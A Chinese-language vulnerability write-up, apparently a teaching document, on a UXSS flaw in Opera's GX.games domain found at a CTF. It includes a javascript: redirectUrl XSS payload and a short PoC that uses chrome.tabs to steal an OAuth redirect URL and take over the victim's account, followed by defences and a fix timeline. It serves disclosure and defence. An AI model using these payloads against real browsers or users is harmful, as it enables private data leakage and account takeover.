当 CTF 遇上漏洞赏金:Opera 浏览器中的一个严重 UXSS
字数 1369 2025-08-27 12:33:22

Opera浏览器严重UXSS漏洞分析与利用教学文档

漏洞概述

本教学文档详细分析Opera浏览器中的一个严重UXSS(通用跨站脚本)漏洞,该漏洞存在于Opera的GX.games域中,允许攻击者绕过同源策略限制,访问敏感浏览器API,最终可能导致用户隐私信息泄露和OAuth账号接管。

漏洞发现背景

  • 发现时间:2023年9月25日
  • 发现场景:WACON CTF 2023线下总决赛中的"operaaa"挑战题
  • 发现团队:Super Guesser团队
  • 预期解题路径
    1. 绕过扩展中的URL检查触发XSS
    2. 从iframe沙箱中逃逸
    3. 找到能访问chrome.tabs()的隐藏Opera域
    4. 泄露已打开标签页的URL(包含flag)

漏洞技术细节

XSS漏洞位置

漏洞存在于GX.games域的signup页面,通过redirectUrl参数实现:

https://gx.games/signup/?redirectUrl=javascript:alert(origin)

此URL会直接执行JavaScript代码,实现无需用户交互的XSS攻击。

特权访问能力

由于GX.games属于Opera的特殊域,攻击者可以访问以下敏感API:

  1. opr对象

    • opr.operaIdentityPrivate.getFullname() - 获取用户全名
    • opr.operaIdentityPrivate.getUseremail() - 获取用户邮箱
    • 修改浏览器工作区
    • 更改浏览器壁纸
  2. chrome.tabs API

    • chrome.tabs.query() - 查询所有打开的标签页
    • chrome.tabs.create() - 创建新标签页

URL泄露攻击

利用chrome.tabs.query可以获取浏览器中所有打开标签页的URL和标题:

chrome.tabs.query({}, (tabs) => {
  // tabs数组包含所有标签页信息,包括URL和标题
  alert(`发现${tabs.length}个标签页`);
});

账号接管攻击链

OAuth流程利用

Opera Sync登录流程存在漏洞:

  1. 攻击者生成自己的state值
  2. 受害者登录后被重定向回带有code和账号信息的URL
  3. 由于state不匹配,受害者看到错误页面
  4. 攻击者利用chrome.tabs窃取完整的重定向URL(包含code)
  5. 攻击者使用该URL登录受害者账号

攻击PoC

// 创建登录标签页
chrome.tabs.create({
  url: `https://auth.opera.com/account/confirm-identity?...&state=#Attacker_State`
});

// 稍后获取所有标签页URL
setTimeout(() => {
  chrome.tabs.query({}, (tabs) => {
    document.body.innerHTML = `
      <h1 style="color:red">
        pwned! 用这个URL登录受害者账号:<br />
        <textarea cols="50" rows="10">${tabs[tabs.length-1].url}</textarea>
      </h1>`;
  });
}, 9000);

漏洞影响范围

  • 受影响产品

    • Opera (PC、Mac、Linux)
    • Opera GX (PC、Mac、Linux)
  • 严重性

    • 跨域URL泄露
    • OAuth账号接管
    • 破坏全网OAuth保护机制

防御措施

对于开发人员

  1. 输入验证

    • 严格验证redirectUrl参数,禁止javascript:等危险协议
    • 使用白名单机制限制重定向目标
  2. 权限隔离

    • 限制特殊域对敏感API的访问
    • 实现更严格的权限控制系统
  3. OAuth加固

    • 使用PKCE增强OAuth安全性
    • 确保state参数的正确验证

对于用户

  1. 及时更新Opera浏览器到最新版本
  2. 避免在不安全环境下使用Opera登录敏感账户
  3. 使用独立的浏览器进行重要账号操作

时间线

  • 2023年9月25日:漏洞在CTF比赛中被发现
  • 后续:漏洞被报告给Opera安全团队并获得修复

总结

本漏洞展示了现代浏览器中特权域的安全风险,以及XSS漏洞与浏览器API结合可能造成的严重后果。通过此案例,安全研究人员可以学习到:

  1. 特权域XSS的特殊危害性
  2. 浏览器扩展API的安全风险
  3. OAuth流程中的潜在攻击面
  4. 从CTF挑战到真实漏洞挖掘的转换思路
Opera浏览器严重UXSS漏洞分析与利用教学文档 漏洞概述 本教学文档详细分析Opera浏览器中的一个严重UXSS(通用跨站脚本)漏洞,该漏洞存在于Opera的GX.games域中,允许攻击者绕过同源策略限制,访问敏感浏览器API,最终可能导致用户隐私信息泄露和OAuth账号接管。 漏洞发现背景 发现时间 :2023年9月25日 发现场景 :WACON CTF 2023线下总决赛中的"operaaa"挑战题 发现团队 :Super Guesser团队 预期解题路径 : 绕过扩展中的URL检查触发XSS 从iframe沙箱中逃逸 找到能访问chrome.tabs()的隐藏Opera域 泄露已打开标签页的URL(包含flag) 漏洞技术细节 XSS漏洞位置 漏洞存在于GX.games域的signup页面,通过 redirectUrl 参数实现: 此URL会直接执行JavaScript代码,实现无需用户交互的XSS攻击。 特权访问能力 由于GX.games属于Opera的特殊域,攻击者可以访问以下敏感API: opr对象 : opr.operaIdentityPrivate.getFullname() - 获取用户全名 opr.operaIdentityPrivate.getUseremail() - 获取用户邮箱 修改浏览器工作区 更改浏览器壁纸 chrome.tabs API : chrome.tabs.query() - 查询所有打开的标签页 chrome.tabs.create() - 创建新标签页 URL泄露攻击 利用chrome.tabs.query可以获取浏览器中所有打开标签页的URL和标题: 账号接管攻击链 OAuth流程利用 Opera Sync登录流程存在漏洞: 攻击者生成自己的state值 受害者登录后被重定向回带有code和账号信息的URL 由于state不匹配,受害者看到错误页面 攻击者利用chrome.tabs窃取完整的重定向URL(包含code) 攻击者使用该URL登录受害者账号 攻击PoC 漏洞影响范围 受影响产品 : Opera (PC、Mac、Linux) Opera GX (PC、Mac、Linux) 严重性 : 跨域URL泄露 OAuth账号接管 破坏全网OAuth保护机制 防御措施 对于开发人员 输入验证 : 严格验证redirectUrl参数,禁止javascript:等危险协议 使用白名单机制限制重定向目标 权限隔离 : 限制特殊域对敏感API的访问 实现更严格的权限控制系统 OAuth加固 : 使用PKCE增强OAuth安全性 确保state参数的正确验证 对于用户 及时更新Opera浏览器到最新版本 避免在不安全环境下使用Opera登录敏感账户 使用独立的浏览器进行重要账号操作 时间线 2023年9月25日:漏洞在CTF比赛中被发现 后续:漏洞被报告给Opera安全团队并获得修复 总结 本漏洞展示了现代浏览器中特权域的安全风险,以及XSS漏洞与浏览器API结合可能造成的严重后果。通过此案例,安全研究人员可以学习到: 特权域XSS的特殊危害性 浏览器扩展API的安全风险 OAuth流程中的潜在攻击面 从CTF挑战到真实漏洞挖掘的转换思路